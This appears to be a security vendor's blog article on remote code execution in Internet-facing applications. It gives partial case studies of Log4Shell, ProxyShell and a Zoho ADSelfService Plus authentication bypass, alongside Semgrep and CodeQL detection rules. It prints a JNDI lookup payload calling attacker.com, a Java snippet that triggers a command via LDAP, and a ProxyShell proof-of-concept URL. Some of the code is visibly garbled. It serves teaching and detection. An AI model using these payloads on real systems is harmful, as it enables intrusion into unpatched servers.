Attacked From Behind Application

Attacked From Behind Application

Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other applications with Internet accessible open sockets, such as web servers and related services.

Some of the most significant and most dangerous vulnerabilities and the attacks they have enabled have involved using RCE for Exploit Public-Facing Application.

What is RCE

A remote code execution (RCE) vulnerability occurs when an application uses user-controlled input without sanitizing it.

RCE is typically exploited in one of two ways. The first is by executing shell commands. The second is by executing functions in the programming language that the vulnerable application uses or relies on.

The impact of an RCE vulnerability can range from malware execution to an attacker gaining full control over a compromised machine.

History of RCE 

Last year RCE Vulnerability in fire…

ProxyLogon – CVE-2021-26855-8 

These vulnerabilities, known as ProxyLogon, affect Microsoft Exchange email servers. Successful exploitation of these vulnerabilities in combination (i.e., “vulnerability chaining”) allows an unauthenticated cyber actor to execute arbitrary code on vulnerable Exchange Servers, which, in turn, enables the actor to gain persistent access to files and mailboxes on the servers, as well as to credentials stored on the servers. Successful exploitation may additionally enable the cyber actor to compromise trust and identity in a vulnerable network.

ProxyShell – CVE-2021-34473-34523-31207

ProxyShell is a set of three security flaws (CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207) which, when used together, could enable a threat actor to perform unauthenticated, remote code execution (RCE) on unpatched Microsoft Exchange servers.

Log4j – CVE-2021-4104

JMSAppender in Log4j 1.2 is vulnerable to deserialization of untrusted data when the attacker has write access to the Log4j configuration. The attacker can provide TopicBindingName and TopicConnectionFactoryBindingName configurations causing JMSAppender to perform JNDI requests that result in remote code execution in a similar fashion to CVE-2021-44228. 

CVE-2021-21972

The vSphere Client (HTML5) contains a remote code execution vulnerability in a vCenter Server plugin. VMware has evaluated the severity of this issue to be in the Critical severity range with a maximum CVSSv3 base score of 9.8.

CVE-2021-26084

An OGNL injection vulnerability exists that allows an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance.

CVE-2021-2109

Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Console) that could be RCE via JNDI

CVE-2021-40539

Zoho ManageEngine ADSelfService Plus version 6113 and prior is vulnerable to REST API authentication bypass with resultant remote code execution.

Case Study

Log4Shell(Partially)

Vulnerability Overview

Apache Log4j2 is a Java-based logging tool that rewrites the Log4j framework and introduces a large number of rich features. The logging framework is widely used in business system development to record logs In most cases, developers may write error information caused by user input into the log. Since some functions of Apache Log4j2 have recursive parsing functions, attackers can directly construct malicious requests and trigger remote code execution. line loopholes. This vulnerability does not require special configuration. The Alibaba Cloud security team has verified that Apache Struts2, Apache Solr, Apache Druid, Apache Flink, etc. are all affected. The trigger condition of this vulnerability is that as long as the data input by external users will be logged record, which can cause remote code execution.

Technical Review

Apache Log4j 2 is an excellent Java logging framework. This tool rewrites the Log4j framework and introduces a number of rich features. The log framework is widely used in business system development to record log information.

Due to the recursive parsing function of some functions of Apache Log4j 2, attackers can directly construct malicious requests to trigger remote code execution vulnerabilities.

The official statement of the vulnerability principle is: There is a JNDI injection vulnerability in Apache Log4j2. When the program logs the data entered by the user, this vulnerability can be triggered. Successfully exploiting this vulnerability can execute arbitrary code on the target server.

To put it simply: when printing the log, if your log content contains the keyword ${, the attacker can use the content of the keyword as a variable to replace any attack command and execute it.

Through the JNDI injection vulnerability, hackers can maliciously construct special data request packets to trigger this vulnerability, and then successfully exploit this vulnerability to execute arbitrary code on the target server.

Attack steps

  • The attacker sends an attack request to the vulnerable server.
  • The server logs the malicious payload based on JNDI and LDAP contained in the attack request through Log4j2 , which is an address controlled by the attacker.${jndi:ldap://attacker.com/a}attacker.com
  • The recorded malicious payload is triggered and the server makes a request via JNDI .attacker.com
  • attacker.comIt is possible to add some malicious executable scripts to the response and inject them into the server process, such as executable bytecodes http://second-stage.attacker.com/Exploit.class.
  • Attacker executes malicious script.

Vulnerability to reproduce

Pom.xml:

<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>

Main.java:

package org. log4js;
import org.apache. logging. log4j. LogManager;
import org. apache. logging. log4j. Logger;
public class Log4jAttack {
private static final Logger logger = LogManager-getLogger(Log4jAttack. class);
public static void main(String[] args) {
logger.error(“${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/Y21kLmV4ZSAvYyBjYwxjLmV4Z0==}”);

“Y21kLmV4ZSAvYyBjYwxjLmV4Z0==” == cmd.exe /c calc.exe

Finding in Source Code:

Semgrep:

id: log4j2_tainted_argument
patterns:
  – pattern-either:
      – pattern: (Logger $LOGGER).$METHOD($ARG);
      – pattern: (Logger $LOGGER).$METHOD($ARG,…);
  – pattern-inside: |
      import org.apache.log4j.$PKG;
      …
  – pattern-not: (Logger $LOGGER).$METHOD(“…”);
message: log4j $LOGGER.$METHOD tainted argument
languages:
  – java
severity: WARNING

CodeQl

/**
* @name Log4j Injection
* @description Detects log4j calls with user-controlled data.
* @kind path-problem
* @problem.severity error
* @precision high
* @id java/log-injection
* @tags security
*       external/cwe/cwe-117
*/

import java
import DataFlow::PathGraph
import semmle.code.java.dataflow.FlowSources

class Log4jCall extends MethodAccess {
  Log4jCall() {
    exists(RefType t, Method m |
      t.hasQualifiedName(“org.apache.log4j”, [“Category”, “Logger”, “LogBuilder”]) // Log4j v1
      or
      t.hasQualifiedName(“org.apache.logging.log4j”, [“Logger”, “LogBuilder”, “LoggerManager”]) // Log4j v2 or
      or
      t.hasQualifiedName(“org.apache.logging.log4j.core”, [“Logger”, “LogBuilder”, “LoggerManager”]) // Log4j v2
      or
      t.hasQualifiedName(“org.apache.logging.log4j.status”, “StatusLogger”) // Log4j Status logger
      or
      t.hasQualifiedName(“org.slf4j”, [“Logger”, “LoggingEventBuilder”]) and // SLF4J Logger is used when Log4j core is on classpath
      log4JJarCoreJarFilePresent()
    |
      (
        m.getDeclaringType().getASourceSupertype*() = t or
        m.getDeclaringType().extendsOrImplements*(t)
      ) and
      m.getReturnType() instanceof VoidType and
      this = m.getAReference()
    )
  }

  Argument getALogArgument() { result = this.getArgument(_) }
}

/**
* A taint-tracking configuration for tracking untrusted user input used in log entries.
*/
private class Log4JInjectionConfiguration extends TaintTracking::Configuration {
  Log4JInjectionConfiguration() { this = “Log4j Injection” }

  override predicate isSource(DataFlow::Node source) { source instanceof RemoteFlowSource }

  override predicate isSink(DataFlow::Node sink) {
    sink.asExpr() = any(Log4jCall c).getALogArgument()
  }

  override predicate isSanitizer(DataFlow::Node node) {
    node.getType() instanceof BoxedType or node.getType() instanceof PrimitiveType
  }
}

predicate log4JJCoreJarFile(JarFile file) { file.getBaseName().matches(“%log4j-core%”) }

predicate log4JJarCoreJarFilePresent() { log4JJCoreJarFile(_) }

from Log4JInjectionConfiguration cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink.getNode(), source, sink, “$@ flows to log4j call.”, source.getNode(),
  “User-provided value”

Proxyshell(Partially)

Vulnerability Overview

Using ProxyShell, an unauthenticated attacker can execute arbitrary commands on Microsoft Exchange Server through the exposed port 443.

Technical Review

The vulnerable version of the exchange’s autodiscover service can be called without authentication and can implement a Microsoft.Exchange.HttpProxy.ProxyRequestHandlerclass. This class can transmit the url that the service needs to access to the backend BackEnd service for the backend to access on its own behalf, and then return the return value to the service. Here is autodiscover.

Under normal circumstances, the target to be accessed is automatically generated by the system service, and it cannot be changed even if we have high authority. If we can change the url transmitted by the service to the backend BackEnd, we can achieve arbitrary url access with high authority.

Attack steps

  • The system will determine whether the url of the path part entered by the user ends with autodiscover.json, and if so, assign email (a user’s controllable parameter) to explicitLogonAddress.
  • If the uriend of the user input is not autodiscover.json, delete the same part as the value of email from the beginning of the url input by the user.Then pass this part as the backend to be passed url。
  • Therefore, we can construct a similar https://192.168.0.103/autodiscover/autodiscover.json?@foo.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3f@foo.compoc for verification, and the final url passed to the backend is: https://192.168.0.103:444/mapi/nspi/

Vulnerability to reproduce

Our research found that in some handlers such as EwsAutodiscoverProxyRequestHandler, the email address can be specified through the query string. Since Exchange does full inspection of email addresses, we can access arbitrary backend URLs by scrubbing parts of the URL through the query string during URL normalization.

HttpProxy/EwsAutodiscoverProxyRequestHandler.cs

protected override AnchorMailbox ResolveAnchorMailbox() {
 
  if (this.skipTargetBackEndCalculation) {
      base.Logger.Set(3, “OrgRelationship-Anonymous”);
      return new AnonymousAnchorMailbox(this);
  }
  if (base.UseRoutingHintForAnchorMailbox) {
      string text;
      if (RequestPathParser.IsAutodiscoverV2PreviewRequest(base.ClientRequest.Url.AbsolutePath)) {
          text = base.ClientRequest.Params[“Email”];
      } else if (RequestPathParser.IsAutodiscoverV2Version1Request(base.ClientRequest.Url.AbsolutePath)) {
          int num = base.ClientRequest.Url.AbsolutePath.LastIndexOf(‘/’);
          text = base.ClientRequest.Url.AbsolutePath.Substring(num + 1);
      } else {
          text = this.TryGetExplicitLogonNode(0);
      }
     
      string text2;
      if (ExplicitLogonParser.TryGetNormalizedExplicitLogonAddress(text, ref text2) && SmtpAddress.IsValidSmtpAddress(text2))
      {
          this.isExplicitLogonRequest = true;
          this.explicitLogonAddress = text;
         
          //…
      }
  }
  return base.ResolveAnchorMailbox();
}
protected override UriBuilder GetClientUrlForProxy() {
  string absoluteUri = base.ClientRequest.Url.AbsoluteUri;
  string uri = absoluteUri;
  if (this.isExplicitLogonRequest && !RequestPathParser.IsAutodiscoverV2Request(base.ClientRequest.Url.AbsoluteUri))
  {
      uri = UrlHelper.RemoveExplicitLogonFromUrlAbsoluteUri(absoluteUri, this.explicitLogonAddress);
  }
  return new UriBuilder(uri);
}

From the code snippet above, if the URL passes a check on IsAutodiscoverV2PreviewRequest, the Explicit Logon address can be specified via the Email parameter of the query string. Since the method simply verifies the suffix of the URL, it is easy to specify the address.

public static bool IsAutodiscoverV2PreviewRequest(string path) {
ArgumentValidator.ThrowIfNull(“path”, path);
return path.EndsWith(“/autodiscover.json”, StringComparison.OrdinalIgnoreCase);
}
public static bool IsAutodiscoverV2Request(string path) {
  ArgumentValidator.ThrowIfNull(“path”, path);
  return RequestPathParser.IsAutodiscoverV2Version1Request(path) || RequestPathParser.IsAutodiscoverV2PreviewRequest(path);
}

The Explicit Logon address is then passed as a parameter to the method RemoveExplicitLogonFromUrlAbsoluteUri, which simply uses the Substring to erase the pattern we specified.

public static string RemoveExplicitLogonFromUrlAbsoluteUri(string absoluteUri, string explicitLogonAddress) {
  ArgumentValidator.ThrowIfNull(“absoluteUri”, absoluteUri);
  ArgumentValidator.ThrowIfNull(“explicitLogonAddress”, explicitLogonAddress);
  string text = “/” + explicitLogonAddress;
  int num = absoluteUri.IndexOf(text);
  if (num != -1) {
      return absoluteUri.Substring(0, num) + absoluteUri.Substring(num + text.Length);
  }
  return absoluteUri;
}

We can design the following URLs to abuse the canonicalization process of Explicit Logon URLs:

https://exchange/autodiscover/autodiscover.json?@foo.com/?&          Email=autodiscover/autodiscover.json%3f@foo.com

This problematic URL normalization process allows us to access arbitrary backend URLs when running as the Exchange Server machine account. Although the bug is not as powerful as SSRF in ProxyLogon, and we can only manipulate the path portion of the URL, it is still powerful enough to allow us to perform more attacks with arbitrary backend access.

By https://192.168.0.103/autodiscover/autodiscover.json?@foo.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3f@foo.comaccessing, you can directly access the page, and it is with system

Finding in Source Code:

Semgrep:

rules:
  – id: insecure-binaryformatter-deserialization
    severity: WARNING
    languages:
      – C#
    metadata:
      cwe: “CWE-502: Deserialization of Untrusted Data”
      owasp: “A8: Insecure Deserialization”
      references:
        – https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide
    message: >
      The BinaryFormatter type is dangerous and is not recommended for data
      processing. Applications should stop using BinaryFormatter as soon as
      possible, even if they believe the data they’re processing to be
      trustworthy. BinaryFormatter is insecure and can’t be made secure
    patterns:
      – pattern-inside: |
          using System.Runtime.Serialization.Formatters.Binary;
          …
      – pattern: |
          new BinaryFormatter();

CodeQl

/**
* @name Deserialization of untrusted data
* @description Calling an unsafe deserializer with data controlled by an attacker
*              can lead to denial of service and other security problems.
* @kind path-problem
* @id cs/unsafe-deserialization-untrusted-input
* @problem.severity error
* @security-severity 9.8
* @precision high
* @tags security
*       external/cwe/cwe-502
*/

import csharp
import semmle.code.csharp.security.dataflow.UnsafeDeserializationQuery
import DataFlow::PathGraph

from DataFlow::PathNode userInput, DataFlow::PathNode deserializeCallArg
where
  exists(TaintToObjectMethodTrackingConfig taintTracking |
    // all flows from user input to deserialization with weak and strong type serializers
    taintTracking.hasFlowPath(userInput, deserializeCallArg)
  ) and
  // intersect with strong types, but user controlled or weak types deserialization usages
  (
    exists(
      DataFlow::Node weakTypeCreation, DataFlow::Node weakTypeUsage,
      WeakTypeCreationToUsageTrackingConfig weakTypeDeserializerTracking, MethodCall mc
    |
      weakTypeDeserializerTracking.hasFlow(weakTypeCreation, weakTypeUsage) and
      mc.getQualifier() = weakTypeUsage.asExpr() and
      mc.getAnArgument() = deserializeCallArg.getNode().asExpr()
    )
    or
    exists(
      TaintToObjectTypeTrackingConfig userControlledTypeTracking, DataFlow::Node taintedTypeUsage,
      DataFlow::Node userInput2, MethodCall mc
    |
      userControlledTypeTracking.hasFlow(userInput2, taintedTypeUsage) and
      mc.getQualifier() = taintedTypeUsage.asExpr() and
      mc.getAnArgument() = deserializeCallArg.getNode().asExpr()
    )
  )
  or
  // no type check needed – straightforward taint -> sink
  exists(TaintToConstructorOrStaticMethodTrackingConfig taintTracking2 |
    taintTracking2.hasFlowPath(userInput, deserializeCallArg)
  )
  or
  // JsonConvert static method call, but with additional unsafe typename tracking
  exists(
    JsonConvertTrackingConfig taintTrackingJsonConvert, TypeNameTrackingConfig typenameTracking,
    DataFlow::Node settingsCallArg
  |
    taintTrackingJsonConvert.hasFlowPath(userInput, deserializeCallArg) and
    typenameTracking.hasFlow(_, settingsCallArg) and
    deserializeCallArg.getNode().asExpr().getParent() = settingsCallArg.asExpr().getParent()
  )
select deserializeCallArg, userInput, deserializeCallArg, “$@ flows to unsafe deserializer.”,
  userInput, “User-provided data”

2021-40539(Partially)

Vulnerability Overview

Zoho issued a security bulletin stating that the 0-day is an authentication bypass vulnerability that can be exploited via the ADselfService Plus REST API URL, allowing attackers to execute malicious code on the underlying Zoho server.

Technical Review

In September 2021, Zoho’s official website released the CVE-2021-40539 vulnerability patch: CVE-2021-40539 . From the description, CVE-2021-40539 is an authentication bypass vulnerability. The affected version includes `ADSelfService Plus builds up to 6113` , and the vulnerability is fixed in the `ADSelfService Plus build 6114` version. The vulnerability is located in the Restful API interface. An attacker can construct a special URL request to bypass the authentication and realize RCE. The official diagram of the vulnerability utilization is given:

Attack steps

  • Restful API authentication bypass
    • The URL information is extracted through `request.getRequestURI`. Here, the regular expression `/RestAPI/.*` is used to determine whether it is a Restful API access, because Zoho ManageEngine ADSelfService Plus uses a Tomcat container, the following two requests are equivalent:
  • /RestAPI/LicenseMgr
  • /./RestAPI/LicenseMgr
  • Arbitrary file upload
  • The parameter `paramName` comes from the `CERTIFICATE_PATH` parameter submitted by the request, which actually saves the uploaded file (from the parameter `CERTIFICATE_PATH`).
  • Construct a POST request for file upload, set parameters according to the previous analysis, and send the final request

Vulnerability to reproduce

Call the `isRestAPIRequest` function to determine whether it is a Restful API access. If it is `true`, it will call `RestAPIFilter.doAction` for authentication information verification and other processing. See the definition of the `isRestAPIRequest` function:

public static boolean 1sRestAPIRequest (HttpServletRequest request, JSON0bject filterParams)
String restApiUrlPattern
/RestAPI/.**
try
restApiUrlPattern= filterParams. optString( key: “API URL PATTERN*, restApiUrlPattern)
catch (Exception var5)
out. log (Level. INFO,
“Unable to get API URL PATTERN.”
var5)
String reqURI = request. getRequestURI();
String contextPath = request. getContextPath) != null ? request. getContextPath()
regURI
=
reqURI. replace (contextPath, charSequence1: **);
reqURI. replace ( charSequence: *//*, charSequence1: */”) ;
reqURI =
return Pattern. matches (restApiUr Pattern, reqURI)

The parameter `paramName` comes from the `CERTIFICATE_PATH` parameter submitted by the request, which actually saves the uploaded file (from the parameter `CERTIFICATE_PATH`).

public static JSONObject getFileFromRequest (HttpServletRequest httpServletRequest, ActionForm actionform, String paramName,
JS0NObject json = new JSONObject () ;
File file
null:
String fileName = null;
Long fileSize
null;
FormFile formFile
null:
try
if (actionform != null) {
DynaActionForm form = (DynaActionForm) actionform;
formFile = (FormFile) form. get (paramName)
if (formFile != null && formFile. getFil eName ()
!= null && !formFile. getFileName (). equals (“‘)) {
fileName -formFile. getFileName ()
File0utputStream fout
null:
try
InputStream fileInput
formFile.getInputStream()
byte[] fileByte = new byte[fileInput. available)];
fileInput. read (fileByte);
file
new File (fileName):
fout
new File0utputStream (file):
fout. write (fileByte) :
catch (Exception var19)
throw var19:

Construct a POST request for file upload, set parameters according to the previous analysis, and the final request is as follows:

Finding in Source Code:

Semgrep:

rules:
  – id: find_sec_bugs.FILE_UPLOAD_FILENAME-1
    patterns:
      – pattern-inside: |
          $FUNC(…, HttpServletRequest $REQ, … ) {
            …
            $FILES = (ServletFileUpload $SFU).parseRequest($REQ);
            …
          }
      – pattern-inside: |
          for(FileItem $ITEM : $FILES) {
            …
          }
      – pattern: $ITEM.getName()
    message: >
      The filename provided by the FileUpload API can be tampered with by the
      client to reference

      unauthorized files. The provided filename should be properly validated to ensure it’s properly

      structured, contains no unauthorized path characters (e.g., / \), and refers to an authorized

      file.
    languages:
      – java
    severity: ERROR
    metadata:
      category: security
      cwe: “CWE-22: Improper Limitation of a Pathname to a Restricted Directory (‘Path
        Traversal’)”
      technology:
        – java
      license: MIT

CodeQl:

/**
* @name Reading from a world writable file
* @description Reading from a file which is set as world writable is dangerous because
*              the file may be modified or removed by external actors.
* @kind problem
* @problem.severity error
* @security-severity 7.8
* @precision high
* @id java/world-writable-file-read
* @tags security
*       external/cwe/cwe-732
*/

import java
import semmle.code.java.security.FileReadWrite
import semmle.code.java.security.FileWritable

from Variable fileVariable, FileReadExpr readFrom, SetFileWorldWritable setWorldWritable
where
  // The file variable must be both read from and set to world writable. This is not flow-sensitive.
  fileVariable.getAnAccess() = readFrom.getFileVarAccess() and
  fileVariable.getAnAccess() = setWorldWritable.getFileVarAccess() and
  // If the file variable is a parameter, the result should be reported in the caller.
  not fileVariable instanceof Parameter
select setWorldWritable, “A file is set to be world writable here, but is read from $@.”, readFrom,
  “statement”

Interested Func Name

Java

  • Logger
  • Write
  • BufferedInputstream
  • BufferedReader
  • ProcessBuilder
  • Exec
  • Eval 
  • Load
  • StringBuilder
  • getParameter
  • getFileFromRequest
  • newDocumentBuilder

.NET

  • Url/Uri
  • AbsoluteUri
  • AbsolutePath
  • Request
  • Headers
  • Params
  • Get
  • XmlDocument
  • XmlUrlResolver
  • FileStream
  • File

Resources

  • https://blog.csdn.net/ityouknow/article/details/121896509
  • https://blog.csdn.net/smellycat000/article/details/120213401
  • https://blog.csdn.net/smellycat000/article/details/119814296
  • https://github.com/nomi-sec/PoC-in-GitHub

Related Content

CONNECT WITH US

FEATURED ARTICLES

Subscribe

Sign up now to receive the latest notifications and updates from Hadess.

Sign up for News & Communications

Do you want quick & free cyber-security analysis of your application?

Secure your entire workforce, including remote employees.

TRY IT FREE

FOR 15 DAYS